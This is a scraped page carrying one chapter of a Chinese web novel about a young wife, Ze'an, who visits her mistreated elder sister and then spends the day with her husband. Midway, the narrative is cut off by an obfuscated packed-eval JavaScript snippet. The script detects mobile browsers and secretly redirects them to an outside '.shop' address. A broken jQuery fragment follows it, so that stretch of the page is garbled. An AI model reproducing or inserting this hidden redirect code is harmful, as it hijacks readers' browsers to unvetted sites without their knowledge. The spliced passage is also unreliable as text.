文趣网 > 都市小说 > 强娶的夫人要和离 > 6. 尴尬
    两人沉默地对峙片刻,徐隐章掀被下床,只着中衣向她走来,强行抱住她,下巴搁在她头顶。

    “猫的事是我不好,你……”

    “我去给你拿衣服。”则安打断他。

    她暴躁地在衣柜里翻腾,仿佛要将气都撒在他的衣服上。

    最后选了件他从没穿过湖蓝色的直身。徐隐章不喜颜色鲜亮的衣服,最鲜亮的就这一件了。

    穿好衣服后,他又要则安给她束发。

    则安原本想故意给他弄丑点,转念一想,他出门丢的是自己的人。京城的贵妇小姐肯定要说她无才无德,照顾不好夫君。这么想着,她便认真给他束发。之后又找了他常穿的藏蓝色直身,伺候他换上。

    用过早膳后,二人一同去给赵初微、徐朝奉请安。回去的路上,徐隐章问:“若是没有别的事,这就出门吧,早去早回。”

    则安抬头看他。

    没有用这件事拿捏她,倒能勉强称得上君子。

    宣威侯府。

    则安和徐隐章拜见长辈后,一同去看望则安的大姐夏则清。

    夏则清嫁的是沈家大房,宣威侯嫡长子沈既昂。

    名正言顺的少夫人,住的却是西南角一处破败的小院子。里面荒草丛生,积雪都没人扫。

    一进正房,则安冻的忍不住打了个寒颤。这么冷的天,屋子里既不烧地龙,也没有炭盆。

    “大姐。”

    一身素衣的夏则清正跪在蒲团上念经,闻言转头,难得露出了个笑容。她站起身,拉起则安的手,盯着则安手上的冻疮看了几眼,什么都没问,随后将她上下打量一番。

    “大姐。”徐隐章行了个礼。

    夏则清叫来贴身丫鬟,引着徐隐章去见沈既昂。

    只剩姐妹二人时,则安怒骂:“沈既昂那个混蛋,就由着那些小妾折腾你?!这么冷的天,既没有地龙,也没有炭盆,他想冻死谁?”她一边说,一边将用自己的手包住夏则清冰凉的手。

    沈既昂当年曾扬言,非夏则清不娶,为此差点被宣威侯逐出家门。他们的婚事,也曾是一段佳话。

    他们成亲那一年,则安只有十二岁。沈既昂为大姐对抗所有人的故事曾经深深地打动了她,她想,将来她若是嫁人,也一定要嫁一个这样对她一心一意,此生非她不娶的男子。

    或许沈既昂曾经有过真心,可惜真心易变。

    成亲刚一年,沈既昂就开始一房一房的纳妾,还经常留恋烟花之地。

    大姐不拦不管,只无声垂泪。后来,她干脆将居室改成佛堂,从此吃斋念佛,深居简出。

    可惜,想念佛也没有那么容易,沈家的主母小姐,沈既昂的几房宠妾,总是时不时找她麻烦。没嫁人时,则安经常来看大姐,每次来都要和沈家的人大闹一场。

    夏则清抽出自己的手,不自觉摩挲着她手上的冻疮:“你在定国公府如何,有没有人欺负你?”

    “谁敢欺负我?!”则安抽出自己的手,避开她的目光。

    夏则清隔着衣袖拉她的手腕,语重心长。

    “三妹,他们这等公爵人家与夏家不同。里头的腌臜事……很多,你一定要小心。不管何时去到何地,一定要带信得过的婢女。平日若是无事,就待在自己的院子里,不要随意出去。实在要出门,就让妹夫陪着你,或者让他拨几个会功夫的侍卫跟着你。自己院子里的吃穿用度,一定要仔细检查。去了别人府上,尽量不要吃主家的东西……”

    大姐说的,就是徐隐章平日里做的。他不喜欢她出敛玉榭,只要出去,必然有一大堆丫鬟跟着。他也不许她单独出门。

    所谓的公爵人家,到底有多少腌臜事?

    当年大姐和沈既昂的感情明明很好,为何一夜之间形同陌路?他们之间……到底发生了什么?

    “嗯,我都记住了。”

    姐妹两人又说了些别的后,则安硬是拽着夏则清出门,说是要去赏梅。

    假山后头,有两个小丫鬟在议论他们。

    “夏家可真是教女有方,区区两个庶女,一个嫁到咱们宣威侯府,一个嫁到定国公府。这本事,恐怕连青楼的妓子都比不上。夏首辅若是还活着,恐怕都没脸去上朝。”其中一人语气中满是鄙夷与不屑。

    则安想出去,手腕被夏则清狠狠攥住。

    “使了腌臜手段,攀了高门又如何,还不是失宠了。大公子房里的那位,你又不是不知道。”

    说罢,两人咯咯笑出声,相携走远。

    夏则清松开则安的手,解释:“那两个丫鬟是沈如昭的人,摆明了引你出手。夏家的三小姐若是打了宣威府上的丫鬟,还能说是年少无知,为长姐出头。定国公府少夫人若是出手伤人,便会一辈子背上个刁妇、恶妇之名,从此以后在贵妇圈中再也抬不起头。”

    大房小姐沈如昭想嫁给徐隐章,这是人尽皆知的事。

    “衔珠,去请你家姑爷过来。”

    “不必了。”则安挽着夏则清的胳膊往回走:“大姐,我会谨慎小心,不会再这么冲动了。”

    二人回去之后又说了会儿话,则安借着找徐隐章的由头去前院,见到了沈既昂。

    一进屋子,则安顺手抄起架子上的花瓶,冲向沈既昂。徐隐章愣了一瞬,大步追上,从后面抱住她。相比于他的迟钝,沈既昂早早就躲到了书案后头。

    “我大姐身体不好,这么冷的天,没有地龙,没有火盆,你想冻死她再娶吗?”

    “我大姐若是出了什么事,我一定不会放过你。我祖父……”则安的腰被徐隐章抱的太紧,有些上气不接下气。

    “我祖父虽不在了,可他的门生故交遍布朝野,你要是敢欺负我大姐,他们一定不会放过你!”

    徐隐章用一只手抱着她腰,腾出的另一手夺过她手中的花瓶。

    现在这个样子也不好出门,徐隐章只好一直抱着她,三人僵持在屋内,直到则安挣扎的没了力气。

    “这么多年,你是怎么对她的,你心知肚明。可我大姐从没说过你一句不好。但凡你还有良心,就该善待她。”

    闻言,沈既昂脸上的笑容再也挂不住。

    “沈既昂,当初是你非要娶她,不是她使手段攀附你们宣威侯府。”

    说罢,则安两手去扯徐隐章箍在她腰间的手,徐隐章并不松开。

    “放开我!”

    一丘之貉,一路货色!

    沈既昂和徐隐章自幼相识,私交很好。则安和徐隐章第一次见面,就是在宣威侯府,当时她去看望夏则清,刚好徐隐章也来找沈既昂。

    回去的马车上,徐隐章打量则安脸色,提议:“时辰还早,你想不想去什刹海滑冰?”

    则安转头看他。

    大姐与沈既昂刚成亲的那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725925|208847||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    几个月,沈既昂可谓将她捧在手心里。婆母刁难,小姑嘲讽,沈既昂通通替她挡回去。世家贵妇若有在背后嚼舌根,说大姐高攀了的,沈既昂谁的面子都不给,一定要当场骂回去。

    成亲的这大半个月,徐隐章明里暗里为她做了不少,则安都知道。

    他是个君子。

    沈既昂坚持了一年,徐隐章又能坚持多久呢?

    则安转过头,并不回答。

    徐隐章还是吩咐车夫往什刹海去。

    则安换好了冰鞋,准备上冰面,徐隐章却嫌她带子没系紧,亲自蹲下身,非要给她拆开了重系。

    两个约莫四十上下的采冰人搓着手从他们身旁走过,坐在不远处的台阶上休息。

    “要我说,夏大人真是命好,年轻的时候靠夏首辅,老了还能靠女儿。大女儿嫁去宣威侯府不说,小女儿又攀上了定国公府。我家的几个丫头长得也不丑,怎么就没有贵人看上?”

    另一人猛拍他的头。

    “你小子别忘恩负义!当初要不是夏首辅为我们主持公道,咱们今天还能好好待在这?”

    那人干笑几声:“你说的是,夏首辅的孙女配皇子都使得,区区一个定国公府算什么。”

    两人歇够了,起身离去,徐隐章也终于将则安的冰鞋系好。

    则安看着他:“徐隐章……倒真是难为你了。”说罢拉着衔珠往场中去。

    徐隐章嘴角噙起一抹笑,也向场中划去,不远不近跟着他们。则安与衔珠酣畅淋漓玩了一下午,直到酉时才依依不舍回去。

    上马车后,徐隐章先递给她一杯温度刚刚好的热茶,待她喝下后,又将油纸包打开,里面是城东六合斋的芝麻糕。

    则安最爱吃六合斋的芝麻糕,没嫁人时,也经常遣人出来买。

    他们玩了一下午,正饿的前胸贴后背,这茶水,糕点,实在……恰到好处。

    则安看他一眼,将糕点分了一半出来,让车外的藏锋递给后头车上的衔珠。

    吃饱喝足,又玩了一下午,则安眼皮已经抬不动了,靠在马车壁休息。徐隐章揽着她肩膀,让她的头靠在自己肩上,小臂撑着她后背。

    则安既不挣扎,也不睁眼,装作自己睡着了。

    一刻钟后,徐隐章低声唤藏锋,要他将后头车上的大氅拿过来。送完大氅后,藏锋心念一转,吩咐小厮:“你先回府,让素砚将公子和少夫人的大氅找出来,在门口等我们。”

    马车达到定国公府门前,徐隐章用大氅将则安包的严严实实,打横抱起往敛玉榭而去。

    今日天气很好,没下雪,还出了太阳,素砚却觉得冷到骨头缝里了。

    她手里抱着两件大氅,孤零零站在一旁,一直盯着徐隐章的背影,直到他转过二门,再也看不见为止。

    公子克己复礼,端方守矩,从未对其他女子如此亲近、如此上心、如此……小心翼翼。

    藏锋将妹妹揽在怀中,什么都没说。

    则安一直睡到亥时才醒。他们身后垫了厚被子,徐隐章搂着她靠在被子上看书。她的头枕在他肩上,两手环抱着他的腰,一条腿压在他腿上。

    不是徐隐章抱她,是她主动抱着徐隐章,还抱得这么紧。

    她既不动作,也不开口,有些茫然,不知道该如何面对这尴尬的场面。

    为什么要醒呢,干脆睡到明早多好。